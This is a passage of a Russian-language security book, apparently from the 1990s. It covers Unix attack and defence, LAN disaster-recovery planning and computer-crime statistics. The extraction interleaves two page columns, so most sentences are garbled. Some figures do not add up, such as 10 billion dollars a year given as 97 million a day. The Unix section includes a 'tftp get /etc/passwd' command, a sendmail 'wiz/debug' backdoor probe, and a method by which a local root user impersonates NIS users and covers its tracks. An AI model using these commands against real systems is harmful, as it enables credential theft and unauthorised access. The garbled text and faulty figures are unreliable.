рабочий каталог пользователя необходимо сделать Person:/u/vip:/bin/ksh


доступным как для чтения, так и для записи. или
Команда exportfs без параметров выдает cdc:encrypted passwd:23456:2002
список экспортированных файлов. Команда :fictitious information:/u/vip
showmounta показывает, какие из :/bin/ksh
экспортированных файлов смонтированы Заметим, что идентификатор
клиентами. пользователя/идентификатор группы (23456) и
групповой ID (2002) в этих строках один и тот же;
именно он, а не входной идентификатор (VIP или
Глава 4: Набор инструментов для CDC), контролирует доступ к файлам.
взломщика Локальный суперпользователь может затем
Привилегии суперпользователя для клиента войти как VIP или CDC и получить доступ ко
NIS должны жестко контролироваться. Когда всем файлам на /U/VIP/ или может просто
пользователь входит в систему, NIS сначала зарегистрироваться как пользователь через
проверяет локальный файл паролей и затем файл команду SU CDC. У суперпользователя появляется
паролей NIS. Взломщику ничего не стоит возможность создавать, читать, модифицировать
использовать эту возможность, чтобы выдать себя или удалять файлы. Этот тип нарушения доступа
за легитимного пользователя внутри NIS. особенно трудно установить, поскольку локальный
Локальный пользователь с привилегиями суперпользователь контролирует файлы
суперпользователя может добавить UID другого регистрации использования ресурсов и доступа к
пользователя, чтобы получить его привилегии. защищенным данным в системе. Замести все
следы доступа — относительно простая задача.
К примеру, ниже приведено содержимое
NISпароля: Клиенты и серверы NFS не осуществляют
vip: encrypted passwd: 23456: проверку аутентичности друг друга.
2002:Very Important Person: Следовательно, клиент может стать сервером при
/u/vip:/bin/ksh помощи команды ypserve или создать клиента при
помощи команды ypbind. Клиенты NIS
Локальный суперпользователь может
связываются при включении с первым ответившим
добавить ту же или аналогичную информацию в
сервером. Ложный сервер обычно и отвечает
локальный файл паролей:
первым. Сервер NFS позволяет любой системе
vip:new encrypted passwd: стать клиентом. Эти вопросы безопасности
23456:2002: Very Important разрешены в новой версии NIS, названной NIS+.

203 204
Защищаем и атакуем Unix Защищаем и атакуем Unix

Однако функции безопасности NFS+ частично не мониторинга компьютерной безопасности и


блокируются при взаимодействии с NIS. попыток преодоления защиты.
Тривиальный протокол передачи файлов Конфигурация ftp часто осуществляется
(tftp) и протокол передачи файлов (ftp) некорректно. Никто не должен входить в систему
применяются для перемещения файлов из одной как суперпользователь ftp.
системы в другую, а ftp — это фундаментальный Если поддерживается анонимный ftp, то все
ресурс Internet. Tftp особенно уязвим, поскольку файлы в каталоге ftp, включая сам каталог,
разрешает передачу файлов без контроля прав должны находиться в распоряжении
доступа. Он наиболее часто используется с суперпользователя (root). Если сконфигурирован
Bootstrap Protocol (BOOTP) для распространения анонимный ftp, то не создавайте каталог,
конфигурационных файлов на бездисковые открытый для чтения и записи. Эти открытые на
рабочие станции, Xтерминалы и элементы сети, запись каталоги часто используются для
например, на маршрутизаторы. Tftp следует нелегального распространения программного
дезактивировать, даже когда в этом нет явной обеспечения, а также для распространения
необходимости. Чтобы ограничить область вирусов.
уязвимости, установите tftp в каталог chroot.
Chroot разрешает доступ только к файлам в этом Simple Mail Transfer Protocol (SMTP) стал
каталоге и подкаталогам. Также ограничьте притчей во языцех с точки зрения уязвимости.
использование tftp локальной сетью. SMTP часто выполняется как root
(суперпользователь) или bin (другой
Чтобы протестировать надежность защиты привилегированный пользователь), и во многих
конфигурации tftp, выполните следующие организациях SMTP — единственная служба, к
команды: которой есть доступ из Internet. Это делает
# tftp systemname sendmail весьма привлекательной для выявления
tftp get /etc/passwd test уязвимых мест системы.
tftp quite
Так, несанкционированный доступ к
Проверьте, содержит ли файл test реальный системе можно получить при помощи команд wiz,
файл паролей для системного имени. Если это так, debug и kill. Чтобы обнаружить черный ход,
то tftp не защищен. введите команды:
Группа Computer Emergency Response Team # telnet — name 25
(CERT) обнаружила несколько уязвимых мест tftp. wiz
CERT была организована агентством DARPA для debug

205 206
Защищаем и атакуем Unix Защищаем и атакуем Unix

kill дисплейной станции управляет команда xhost, в то


exit время как доступом пользователя к дисплейной
Если черного хода не существует, ответ на станции управляет xauthorities. Доступ позволяет
каждый ввод будет: осуществлять отображение окон или приложений
500 Command unrecognized. и мониторинг дисплейной станции. Имеющийся
Еще одна проблема — возможность инструментарий позволяет отслеживать ввод в
замаскироваться с помощью агента передачи различные окна и осуществлять удаленный ввод
данных Unix sendmail под любого пользователя данных в открытые окна.
сети. Mail выглядит как законный пользователь. Когда активирована xauthorities, то
Электронная почта по протоколу SMTP необходим ключ Data Encryption Standard (DES)
посылается открытым текстом и может быть для того, чтобы пользователь мог выводить
перехвачена или считана с сети. Поэтому не изображение на дисплейную станцию. Каждый раз
включайте никакую информацию, которую нельзя при открытии сеанса генерируется новый ключ.
было бы написать на обычной почтовой карточке. Ключи хранятся в корневом каталоге пользователя
Широкое распространение получили ныне в файле XAUTHORITY. Чтобы другой
некоторые системы электронной почты, пользователь смог получить доступ к дисплейной
обеспечивающие секретность данных. станции, ключ должен быть извлечен из файла
XAUTHORITY и добавлен к файлу XAUTHORITY
Pretty Good Privacy (PGP) и Privacy другого пользователя. То же самое должно быть
Enchanced Mail (PEM) — примеры безопасных проделано для того же пользователя в другой
версий электронной почты. Эти системы системе. Например, если пользователь VIP
обеспечивают секретность содержимого пользуется дисплейной станцией MAPLE и хочет
сообщения на всем пути от отправителя до отобразить программы из системы OAK в MAPLE,
адресата. ключ должен быть введен в файл XAUTHORITY в
Стандартом Windows для Unix является X OAK. Использование и xhost, и xauthority
Window. Обычно его называют просто X. необходимо для обеспечения секретности в X.
Секретность информации в X обеспечивается Пользователь должен быть довольно грамотен для
конечным пользователем. Термины клиент и обеспечения сохранности информации в X.
сервер в X часто взаимозаменяемы, а монитор,
отображающий X, назван дисплейной станцией.
Пользователь может не обеспечить достаточную
защиту дисплейной станции. Доступом системы к

207 208
Защищаем и атакуем Unix Защищаем и атакуем Unix

Глава 5: Сохранение мира 12


9
Сеть под Unix может быть засекречена. When
Первый шаг заключается в обеспечении жесткого Thu 03:36
контроля всего доступа в сеть и системы. Затем Sat 05:34
следует обеспечить все узлы сети посредством Sun 12:25
надежного конфигурирования протоколов и В этом примере представлена часть вывода
приложений и использовать шифрование всех по выполнении команды finger (обратите внимание
данных, проходящих через незащищенные сети, на информацию в поле имени). В ноябре 1988
какой является самая большая в мире открытая года Роберт Т. Моррисмладший, в то время
сеть Internet. студент, изучающий компьютерные технологии в
$ finger username@systemname Корнельском университете, создал Morris Worm,
Login name: username (messages off) самокопирующуюся и самораспространяющуюся
Directory:/u/username программу, которая буквально поразила Internet. В
On since Jun 23 10:11:57 on ttyq1 программе использовалась именно команда finger.
No Plan.
In real life: Actual Name
Глава 6: Неизбежные попутчики
Shell:/bin/ksh
13 seconds Idle Time Firewall — это механизм, использующийся
$ finger @ systemname для защиты сети по всему периметру. Его
Login наиболее популярное применение — защита
console корпоративных сетей от несанкционированного
cdc доступа из Internet. Существуют два основных
vip подхода, используемых в firewalls. Набор фильтров
Name firewall, как следует из его названия, фильтрует
rootC. Cullen — group XXXXX или отсеивает ненужные пакеты, руководствуясь
C. Cullen, 5551212 множеством правил, названным списком контроля
very important person, guest of Cindy Cullen доступа (access control list).
TTY
Firewall для сервера приложений или
console
посредника — это программа. Такой firewall
p0
фильтрует или определяет направление
p5
соединения для протоколов telnet, SMTP, ftp и
Idle
209 210
Защищаем и атакуем Unix Защищаем и атакуем Unix

World Wide Web. Пользователь должен иметь Соответствующий открытый ключ используется
соответствующее программное обеспечение для определения подлинности документа.
клиента и быть авторизован в firewall. Это PGP распространяется бесплатно для
позволяет контролировать доступ на уровне некоммерческого использования, хотя существуют
пользователя и регистрировать трафик их сети в и коммерческие версии. Он доступен для
сеть. большинства систем под Unix, DOS, Windows,
Серверы приложений и посредники OS/2 и Macintosh. Экспортные ограничения
обеспечивают жесткий контроль входящих и распространяются на PGP. Однако совместимое с
исходящих данных. Например, функции ftp могут PGP программное обеспечение доступно и за
ограничиваться только puts или gets и каждая пределами Соединенных Штатов.
транзакция может быть зарегистрирована. Privacy Enhanced Mail (PEM) — это стандарт
шифрования электронной почты, разработанный
Глава 7: При плохой защите группой инженерной поддержки Internet (IETF).
PEM можно использовать для подписывания и
электронную почту может прочитать шифровки сообщений электронной почты.
каждый Поддержка PEM доступна для приложений
Pretty Good Privacy (PGP) может на ПК в системах Unix и Macintosh. PEM тоже
использоваться для шифрования файлов и использует шифрование с открытыми ключами.
электронной почты, а также для подписания
документов с заверенной электронной подписью.
PGP использует технику шифрования открытым
ключом и секретным ключом. При посылке
зашифрованной электронной почты, сообщение
необходимо зашифровать открытым ключом
получателя, секретный же ключ должен быть
послан получателям под защитой их открытых
ключей. Таким образом, только легитимный
получатель способен расшифровать сообщение
при помощи своего личного ключа.
Личный ключ каждого пользователя может
быть использован для подписи документа.

211 212
«Аварийные» сети «Аварийные» сети

Часть восьмая информационного потока по всей организации.


Локальная сеть обеспечивает подключение
«Аварийные» сети персональных компьютеров к файловым серверам
и другим источникам данных, в том числе и к
мейнфрейму; она не является отдельной
информационной службой, а органически
вплетается в структуру организации. Этим и
Глава 1: Дело ведут знатоки объясняется, почему обеспечение безопасности и
Сотни непредсказуемых событий могут навыки по восстановлению деятельности
нарушить работу сети. Не дожидаясь этого, предприятия неотделимы от аналогичных
спланируйте свои действия по предупреждению мероприятий для его (предприятия) локальной
сбоев в локальных сетях и по их восстановлению. сети.

Многие считают, что подготовить Чтобы разработать эффективный план


локальную сеть на случай аварии — это значит действий на случай аварии, вам необходима
создать резервные копии, чтобы иметь помощь всей организации, особенно ее высшего
возможность восстановить диски с файловых руководства. Имеются в виду не просто одобрение
серверов после краха. При всей своей важности и обещания, а готовность к сотрудничеству,
эти мероприятия не решают всех проблем и готовность оказать финансовую и прочую, куда
помогают лишь в определенных ситуациях. более реальную, нежели слова, помощь.

Главная цель — добиться непрерывного Понадобится и поддержка пользователей.


рабочего процесса на предприятиях или в других Именно на их плечи ляжет основной груз по
организациях, а в случае аварии — иметь созданию, проверке и внедрению плана. Но для
возможность как можно скорее восстановить их того, чтобы иметь возможность обратиться за
работу. Но, в отличие от традиционных помощью к пользователям, надо сначала завоевать
информационных центров, основанных на их доверие.
мэйнфреймах, при планировании мер по
ликвидации последствий аварий в локальных сетях Глава 2: Займемся планом
приходится иметь дело не только с
компьютерными системами. Предупреждение сбоев и восстановление
после сбоев — это не просто последовательность
Компьютерная сеть стала частью структуры
мероприятий, а образ мышления. Анализируя,
корпорации, главной магистралью для движения
например, систему, необходимо рассмотреть и

213 214
«Аварийные» сети «Аварийные» сети

возможные нарушения ее функционирования, и доступ к данным, но и уменьшает риск случайного


последствия этих нарушений. Как можно уничтожения файлов и распространения вирусов.
предотвратить сбои? Как справиться с их Какова бы ни была ваша стратегия
последствиями? К кому обратиться за помощью в предотвращения последствий сбоев, есть этапы,
чрезвычайных обстоятельствах? Есть ли этому без которых обойтись невозможно.
альтернатива? При определенном опыте такой
образ мышления станет для вас второй натурой. Для успешного восстановления особенно
необходимо хорошее документирование систем и
Эффективный план должен предусматривать процедур резервного копирования. Важную роль в
решение трех основных задач: поддержание восстановлении может сыграть запасное
системы в работоспособном состоянии — раз; оборудование (хабы, кабели, сетевые плоты и
обеспечение целостности, доступности и проч.), а также планы мероприятий по
защищенности данных — два; быстрое эксплуатации и ремонту оборудования и, конечно,
восстановление системы после сбоя — три. опытный обслуживающий персонал.
Для поддержания локальной сети в
работоспособном состоянии требуется, чтобы она
была грамотно спланирована, спроектирована и
Глава 3: Невидимый враг
установлена. Хорошо выполненный монтаж Беда может нагрянуть в разных обличьях. И
физической сети (проводка, хабы, файлсерверы, причины ее могут быть самые разные:
шлюзы и маршрутизаторы) может предотвратить
● отказы технических и программных средств,
многие неприятности или, по крайней мере,
например, крах диска, проблемы с
облегчить поиск и диагностику неисправностей в
проводкой, с операционной системой и с
случае их возникновения. По тем же причинам
приложениями;
необходимо и надлежащее проектирование
логических структур, а именно: защиты, входных ● ошибки оператора, случайное удаление
управляющих файлов, структур каталогов. файла;
Эти же три составляющие необходимы и ● вредительство (внесение вирусов и
для обеспечения целостности данных. Без вандализм);
целостности системы невозможна целостность ● стихийные бедствия: пожары, наводнения,
данных. Первым шагом является создание землетрясения и ураганы;
эффективной логической структуры с надлежащей
● проблемы с электропитанием;
защитой и управлением доступом. Защита не
только предотвращает несанкционированный

215 216
«Аварийные» сети «Аварийные» сети

● загрязнение окружающей среды, например, реагировать на изменение потребностей, но такая


полихлорбифенилом; гибкость имеет свою цену.
● хищения. Исчерпывающими знаниями,
Готовясь к аварийным работам, вы должны необходимыми для осуществления эффективного
не упустить из виду даже самые, как вам кажется, плана восстановления в случае аварии больших и
невероятные катастрофы. К примеру, для деловой сложных локальных вычислительных сетей, не
части Чикаго наводнение — явление необычное, обладают ни отдельные специалисты, ни группы.
но в 1992 году оно произошло. А поскольку Вообще говоря, восстановление локальной сети
предусмотреть все возможные катаклизмы после сбоев спланировать сверху донизу
невозможно, следует быть готовым и к традиционными для информационных систем
неожиданностям. методами практически невозможно. Однако это не
означает, что осуществить эффективный план
Как и при страховании, ото всех проблем нельзя; просто, быть может, придется выйти за
восстановительные мероприятия не спасут, или же рамки общепринятых идей и методов.
спасение обойдется слишком дорого. В вашу
задачу входит обеспечение достаточного набора
мер защиты от простоя и потери информации, Глава 4: Планирование
дающих к тому же уверенность в возможности
своевременного восстановления предприятия в Разработка эффективного плана на случай
случае аварии. Стремясь максимально сократить аварии в локальной вычислительной сети
время простоя, помните, что каждый включает оценку возможного риска и сбор
дополнительный шаг в этом направлении будет информации о системе, о ее функциях и
намного дороже предыдущего и куда менее удачен. пользователях. План надо подготовить в
Поэтому в каждой конкретной ситуации следует письменном виде, ознакомить каждого
тщательно оценить соотношение стоимости и включенного в план с его ролью, а затем
эффективности предпринимаемых мер. проверить план. План следует периодически
пересматривать.
По природе своей локальные
вычислительные сети неуправляемы и На первый взгляд этот процесс кажется
непредсказуемы. Зачастую они разрастаются и простым, но это не совсем так. Большинство
изменяются самым неожиданным образом. Этим разработчиков подходят к плану на случай сбоя в
же объясняется их способность быстро локальной сети так же, как к аварийному плану
для мэйнфрейма, но между этими планами
существует масса различий.

217 218
«Аварийные» сети «Аварийные» сети

Традиционный информационный центр изменение в одной зоне может повлиять на всю


характеризуется четкой структурой с жестким систему.
управлением доступом, прикладными Ненадежность проводки, например, может
программами и порядком пользования. Он оставаться незамеченной до тех пор, пока
функционирует в организации обособленно, что добавление всего одной рабочей станции не
позволяет управлять им как самостоятельной вызовет крах системы. Откачка (своппинг)
единицей. Новые приложения обычно внедряются драйвера для сетевого адаптера на одной станции
только после тщательного рассмотрения, а все может создать проблемы для всех остальных, если
изменения системы планируются задолго до этот драйвер несовместим с другими в сети. Из
внесения. этого следует: подготовиться к каждой
Локальные вычислительные сети непредвиденной ситуации невозможно, значит
объединяют множество разнотипных устройств и надо быть готовыми к неожиданностям.
поддерживают зачастую сотни приложений. Они Динамическая природа локальных
подключают пользователей к источникам вычислительных сетей объясняет тот факт, что
информации, размещенным по всей организации, написать на случай аварии исчерпывающий план,
а иногда и за ее пределами. который учитывал бы каждый элемент сети и
Управление и контроль часто каждую поджидающую его неприятность, как
осуществляются многими руководителями на правило, невозможно. Такой план может устареть,
различных уровнях, в разных подразделениях или еще не будучи завершенным.
рабочих группах. Эти люди могут иметь разные Есть ли шанс избежать данных проблем?
взгляды и цели. Новые приложения часто Везде, кроме самых маленьких организаций, это
добавляются на серверы рабочих групп (или на невозможно. А следовательно, надо заняться
рабочие станции пользователей) сразу же после разработкой набора меньших планов. Для сетей
уведомления, а многие составляющие системы: подразделений это означает, что каждый отдел
файловые серверы, рабочие станции и должен разработать свой план. Если
принтеры — добавляются или меняются без информационная служба имеет централизованную
ведома центра. структуру, то она будет осуществлять
Изза наличия такого большого количества планирование всех управляемых ею элементов и
взаимодействующих элементов локальные сети выступать в роли помощника, координатора и
часто бывают очень чувствительны к воздействию дирижера для всей организации.
самых незначительных факторов. Малейшее

219 220
«Аварийные» сети «Аварийные» сети

Глава 5: Документация для защиты ● списки поставщиков.


Важнейшей проблемой является поддержка
Для эффективного предотвращения аварий
документации. Многие компании тратят тысячи
и восстановления очень важна хорошая
долларов на создание документации только для
документация. Она способствует предотвращению
того, чтобы потом обнаружить, что у них нет
ошибок и гладкому течению процесса
эффективного механизма ее поддержки и
восстановления. Руководства по эксплуатации
обновления. При разработке документации
программных и аппаратных средств хороши для
займитесь этим вопросом вплотную.
предполагаемых пользователей, но они не
содержат сведений о стратегии, организации и Документация должна быть ясной, краткой
конфигурации в конкретно вашей организации. и по теме, например, две или три страницы
основных сведений о процедурах резервного
Так, какого же рода документация вам
копирования и восстановления будут более
нужна? Ответы для разных организаций различны,
эффективны, чем чрезмерно подробный трактат на
но существует ряд общих положений:
эту тему.
● основные принципы стратегии и организации
При написании документации не
системы;
увлекайтесь чересчур техническим языком,
● конфигурация программных и аппаратных расшифровывайте все акронимы и жаргонные
средств; термины. Для опытного пользователя сети жаргон
● основные сведения о пользователях; не составит проблемы, но что, если в аварийной
ситуации эту работу придется выполнять менее
● основные сведения об администраторе;
опытному работнику? А представим, вам самим
● диагностика и способы устранения придется воспользоваться этой документацией
неисправностей; года через два, когда может подзабыться многое из
● процедуры резервного копирования и того, что сегодня вы знаете назубок?
восстановления; По возможности именно те, кто работает с
● мероприятия по ремонту; системой или процедурой должны создавать и
поддерживать документацию.
● информация о гарантии и обслуживании;
Это дает основания надеяться, что
● план восстановления деятельности
работники будут разбираться в том, что делают, и
предприятия;
вероятность непонимания, которое может
● списки адресов и телефонов служащих; возникнуть при привлечении независимых

221 222
«Аварийные» сети «Аварийные» сети

разработчиков, практически исчезнет. Обучите Каждая организация должна разработать


пишущих документацию пользоваться свою схему восстановлению деятельности.
описываемым инструментарием и обеспечьте его Имеется пять основных подходов к
доступность. Просмотрите и проверьте восстановления деятельности в другом месте:
документацию с привлечением независимых
● иметь про запас оборудованные рабочие
специалистов, не имеющих глубоких знаний
системы или процесса — это единственный способ места;
выявить упущения и выбросить неточные и ● использовать для восстановления другой офис
некорректно изложенные сведения. компании;
Документация должна быть доступна ● заключить с другой компанией соглашение о
любому, кто в ней нуждается. На случай аварии взаимной помощи, чтобы в случае аварии
копии документации следует хранить и в другом обеспечить друг друга оборудованием;
помещении. ● использовать чужие рабочие места на
коммерческой основе;
Глава 6: Возвращение к ● использовать арендованную площадь, а
деятельности оборудование приобретать по мере
необходимости.
Так как для предотвращения большинства Итого пять пунктов, каждый из которых
аварий сделать можно немного, надо основательно имеет свои за и против. Постоянное помещение
подготовиться на случай их возникновения. Но дорого стоит, а делить помещение с другой
предусмотреть, например, обстрел «Белого дома» в компанией или даже с другим отделением вашей
Москве просто невозможно. Да и ни к чему. же компании, как правило, можно лишь
Достаточно представить, что в результате непродолжительное время.
какогото неординарного события, рабочее место
станет на некоторое время недоступным. Многие компании, предоставляющие
рабочие места на время восстановления
Так как системы на базе локальных мэйнфреймов, теперь предлагают рабочие места на
вычислительных сетей становятся все более время восстановления локальных вычислительных
критически важными, актуальной становится сетей. Персонал этих компаний выполнит все
проблема восстановления их в другом месте. Но необходимые работы по обслуживанию системы,
не пытайтесь разрешить эту проблему одним но стоимость их услуг относительно высока, да и
махом.

223 224
«Аварийные» сети «Аварийные» сети

пригодны такие места обычно лишь на первое Глава 8: Рецепт восстановления


время.
Здесь дается ряд советов по составлению
Еще один подход предполагает
плана восстановительных работ.
планирование аренды площади и приобретения
оборудования по мере необходимости. Это может ● Убедитесь, что ваш план позволит произвести
быть рискованно, но при правильном отношении восстановительные работы в указанный срок;
к делу зачастую весьма эффективно. Такой подход, ● Стремитесь к более тесному сотрудничеству,
плюс ко всему прочему, обеспечивает свободу к максимально возможной
действий большую, чем остальные, здесь скоординированности действий со всеми
обсуждаемые. заинтересованными сторонами, в том числе с
пользователями, с руководителями
Глава 7: Обновление плана подразделений и с высшим руководством;
● В большинстве случаев в организациях
План восстановления устаревает в должны иметься письменные планы, дабы
некоторых пунктах уже в момент написания. Его персонал не пропустил обязательные этапы
следует рассматривать как совокупность работы. В больших организациях могут
рекомендаций, а не как непреложные указания. В понадобиться отдельные планы для
состав команды по восстановлению должны различных групп и отделов. Центральная
входить специалисты, обладающие достаточными группа информационных систем может
знаниями, способностями и независимостью, выступать в роли помощника и координатора,
чтобы суметь реализовать план в критической отслеживая правильность составления планов.
ситуации. Однако постоянное поддержание плана В случае аварии информационная служба при
в максимально соответствующем текущему необходимости может оказать помощь;
положению дел состоянии сведет к минимуму
● Очень важна периодическая проверка плана,
число обращений за разъяснениями.
а также проверка всех процедур,
Разработка плана на случай аварии не программных и технических средств, которые
избавляет от необходимости ежедневного могут выйти из строя. Это бывает нелегко для
выполнения рабочих процедур и тех, кто не имеет запасных рабочих мест на
документирования. Но при надлежащем случай аварии, но все же следует проверить
выполнении всего вышеописанного повышается как можно больше пунктов плана;
вероятность сохранения после аварии наиболее
ценных активов неповрежденными.

225 226
«Аварийные» сети «Аварийные» сети

● Запасные рабочие места должны находиться конкретных элементов в категорию


на приличном расстоянии от основных, первоочередных. Так как относительная
чтобы исключить возможность значимость различных сетевых ресурсов
одновременного поражения обеих площадей, может постоянно меняться, план в этой части
на случай если бедствие охватит целый не должен быть директивой, исключающей
район; доступ к ресурсам, не вошедшим в список;
● При написании плана учтите возможность ● При составлении плана действий персонала
отсутствия системных специалистов в момент на случай аварии расписывайте рабочие
аварии. Все инструкции по восстановлению функции каждого сотрудника с учетом его
должны быть написаны так, чтобы их могли индивидуальных возможностей. Вполне
понять люди, далекие от техники. возможно, что в критической ситуации Вы не
Описывайте даже самые элементарные сможете отыскать конкретного служащего,
действия, такие, например, как вставить поэтому необходимо изучать смежные
ленту; специальности, дабы добиться легкой
● Если у Вас имеется запасная площадь, взаимозаменяемости работников;
запланируйте наличие удаленных каналов и ● Постоянно возвращайтесь к плану, привлекая
проводите их регулярное тестирование. Если всех имеющих к нему отношение
вы оборудуете площадь специально на случай сотрудников;
аварии, то необходимо принять в расчет ● Следите за тем, чтобы у каждого члена
самые последние тенденции в отрасли связи восстановительной команды, на каждой
и режимы работы аварийных линий. Тем площадке для восстановления и в удаленном
самым вы сможете получить новые сервисы, месте хранения копий имелись свежие версии
ускорить инсталляцию или добиться большей важных документов, а именно руководства по
гибкости. восстановлению, списки адресов и телефонов
Приложите все усилия для определения служащих.
наиболее важных в критической ситуации
факторов, к которым относятся:
● первоочередные действия, число и типы
пользователей, необходимые файлы,
приложения и линии связи. Следует четко
оценить необходимость включения

227 228
Деньги и хакинг Деньги и хакинг

Часть девятая своих информационных систем. Что еще хуже,


многие компании даже не знают толком, где
Деньги и хакинг находятся эти самые информационные окна и
двери. Те, кто пренебрегает безопасностью своих
информационных систем, попросту играют в
русскую рулетку на все свои сделки, все свое
имущество, на имидж компании, наконец, на
Глава 1: Как защитить свое конфиденциальную информацию.
электронное достояние Хороший администратор сети знает все
Преступление неотступно следует за тайные пороки своего подопечного — например,
деньгами. Деньги перемещаются в ему известны все случаи нарушения защиты, о
киберпространство. Наверное, деньги нельзя которых так никогда и не узнало руководство.
считать главным корнем зла, но, бесспорно, Знает он и неприятные секреты корпоративной
алчность — один из семи смертных грехов. Тот, информационной системы — допустим то, что
кто завел привычку раскладывать на столах своего банк модемов не имеет никакой защиты вообще, и
офиса пачки наличных, скорее всего, рано или все потому, что руководство не дает денег на
поздно заработает серьезные неприятности. Нельзя приобретение охранной системы для удаленного
подвергать человека соблазну, кто бы он ни доступа. Конечно, администратор сети мог бы
был — рассыльный на велосипеде или бухгалтер, справиться с этими проблемами, но у него не
нанятый для составления квартального отчета. хватает времени, персонала, инструментальных
средств, и наконец — что хуже всего — он просто
Если не принять необходимых мер не уполномочен руководством на такие действия.
предосторожности, ровно такая же опасность Вместо этого его заставляют гнаться за все
может быть связана и с электронными ускоряющим ход поездом технического прогресса.
коммерческими операциями. В какомто смысле Сети клиентсервер, мобильные компьютеры,
можно даже сказать, что сваливать груды глобальные сети, беспроводные технологии,
зелененьких на офисных столах — вещь куда более электронная почта на Internet, World Wide
безопасная. В офисах есть и надежные запоры, и Web — эти достижения следуют одно за другим,
совершенные охранные системы, и даже огромными волнами накатываясь на
вооруженные ночные сторожа. Однако слишком корпоративные сети. И вот появилась новая
часто приходится видеть, как организации фишка — электронная коммерция. Тех, до кого
тщательно охраняют свои помещения, но при это новшество еще не докатилось, остается все
этом оставляют раскрытыми настежь окна и двери

229 230
Деньги и хакинг Деньги и хакинг

меньше и меньше. Администратора сети вызывают продажа товаров и услуг через Internet обязательно
к руководству компании: «Мы собираемся привлечет внимание подозрительных субъектов,
продавать наши товары и услуги через Internet. притаившихся в темных углах киберпространства.
Позаботься о том, чтобы все было в порядке». Посмотрим на результаты последних
Разумеется, крики администратора о том, исследований.
что с электронной коммерцией связана Computer Security Institute (CSI,
повышенная опасность для информационной СанФранциско) совместно с Отделом
системы, наталкиваются на глухое непонимание. международных компьютерных преступлений ФБР
Конечно, на администратора немедленно тщательно обследовал 428 организаций:
накинутся поставщики систем для электронной коммерческих компаний из списка Fortune 500,
коммерции: Надо просто пересылать все финансовых и медицинских учреждений,
транзакции в зашифрованном виде. Этим правительственных организаций и крупных
настырным людям надо посмотреть прямо в глаза университетов. Результаты этого исследования
и сказать: «Шифровка транзакций беспокоит меня показывают полную неготовность этих
меньше всего». организаций к защите от компьютерных
Энтузиасты электронной коммерции в преступлений и наводят на мысль о том, что
самой компании тоже постараются снизить накал угроза таких преступлений вполне реальна.
страстей вокруг защиты данных. Скорей всего, Например, 42% респондентов указали, что в
они станут заламывать руки и вопить: «О течение последних 12 месяцев им приходилось
назовите, назовите мне хоть один пример того, сталкиваться с использованием компьютеров без
как электронная коммерция через Internet довела разрешения.
когонибудь до разорения!» Достойным ответом Респонденты также указали, что их
для этих людей будет такой: «Не спешите. Все еще информационные системы подвергались попыткам
впереди». вторжения через разные точки входа. Причем речь
здесь не идет об игре в компьютерные игры в
рабочее время — респонденты указали целый ряд
Глава 2: Чем вы рискуете? нешуточных злоумышленных действий, от грубых
Противнику надо смотреть прямо в лицо. попыток угадать пароль до нарушения работы
Жизнь приносит нам все новые и новые примеры системы (denial of service) и порчи данных (data
компьютерных преступлений, и каждый, в ком diddling).
есть хоть крупица здравого смысла, поймет, что

231 232
Деньги и хакинг Деньги и хакинг

Многие респонденты, опрошенные в ходе Конечно, можно испытывать какой угодно


опроса, проведенного Computer Security Institute скептицизм по поводу этих результатов, однако
(CSI, СанФранциско) совместно с ФБР, заявили, достаточно просмотреть заголовки газет, чтобы
что их сеть подвергались нападению с разных понять, до какой степени насущна проблема
сторон. Было опрошено 428 коммерческих компьютерной преступности.
компаний, правительственных учреждений и В 1994 году IBM, General Electric и NBC
университетов. стали жертвой хакеров в День Благодарения.
Наибольшее беспокойство, однако, Предполагаемые преступники — загадочная
вызывает то, до какой степени организации не группа, именующая себя «Фронт освобождения
готовы бороться с уже произошедшим Internet»; вторжение вызвало серьезные
вторжением. Более чем в 50% неприятности. В 1995 году русские хакеры вошли
организацийреспондентов отсутствуют в сеть Citibank с мобильного компьютера и
письменные инструкции о действиях в случае незаконно перевели 10 миллионов долларов на
вторжения в сеть. Более 60% организаций не различные счета в разных странах мира.
имеют инструкций о сохранении вещественных Не так давно появились подозрения, что
доказательств вторжения для последующего ряд сотрудников Управления социального
представления на гражданском или уголовном страхования (Social Security Administration)
судебном разбирательстве. передали сведения об 11 000 человек (в том числе
Мало того, более 20% организаций вообще номер страхового полиса и девичью фамилию
не знают, подвергались они вторжению или нет. матери) группе преступников, занимающихся
Согласно третьему ежегодному опросу мошенничеством с кредитными карточками.
ErnstYoung/Information Week, 80% респондентов Список получился коротким, однако не
считают, что угроза безопасности данных может потому, что такие случаи редки, а потому что
исходить от сотрудников компании, 70% считают, большинство из них не получает огласки. Менее
что в роли компьютерных злоумышленников могут 17 респондентов совместного опроса CSI и ФБР
выступать их конкуренты, и почти 50% сообщили, заявили, что сообщили о вторжениях органам
что нарушение защиты информационной системы правопорядка; более 70% сообщили, что боятся,
привело к финансовым потерям. По данным что огласка таких событий может им повредить.
исследования, проведенного университетом штата Цена таких инцидентов может быть
Мичиган, более 40% респондентов оказывались ошеломляюще высока. Например, 30 респондентов
жертвами компьютерных преступлений более 25 проведенного CSI опроса 1995 Crypto Survey
раз.

233 234
Деньги и хакинг Деньги и хакинг

заявили, что понесли финансовые потери в опросила ряд аналогичных фирм с целью
результате вторжений в информационную систему. выяснить убытки, понесенные их
Общая сумма потерь 32 респондентов составила 66 клиентами — коммерческими и финансовыми
миллионов долларов. Распределение убытков по организациями — в результате мошенничества.
способам нанесения таково: Круг опрошенных был не слишком широк, и тем
● 1 миллион приходится на подслушивание не менее общая сумма убытков составила 800
переговоров миллионов долларов — и всего это за один год
(правда, во всем мире). Сюда входят только
● 300 000 — на разного рода фальсификации реальные убытки, причем лишь те, о которых
● 1 миллион — на прямые врезки в кабельную клиенты сочли нужным сообщить опрошенным
систему компаниям. На американские компании
● 1 миллион и 10 миллионов — на приходится более 400 миллионов долларов. В
злоупотребления конфиденциальной данную цифру не входят потери от порчи данных
информацией или временной потери доступа к данным, а кроме
того, трудно количественно оценить неизвестные
● 50 миллионов (дада, это не опечатка) — на
потери от прямого вмешательства конкурентов
проникновения в систему.
(например, промышленного шпионажа).
По данным компании Klarence M. Kelly
Эта проблема имеет международный
Investigations, средний убыток от мошенничества
масштаб. По оценкам, проведенным Британской
сотрудников составляет 23 500 долларов; если же
ассоциацией банков, в 1999 году ущерб от
мошенничество совершается с применением
компьютерного мошенничества составил 10
компьютера, сумма убытка возрастает до 500 000
миллиардов долларов, то есть 97 миллионов
долларов.
долларов в день.
Во время недавних сенатских слушаний по
безопасности киберпространства на свет божий
была извлечена еще одна ошеломляющая новость. Глава 3: Не всякое лекарство
Дэн Гелбер, советник сенатора Сэма Нанна, помогает
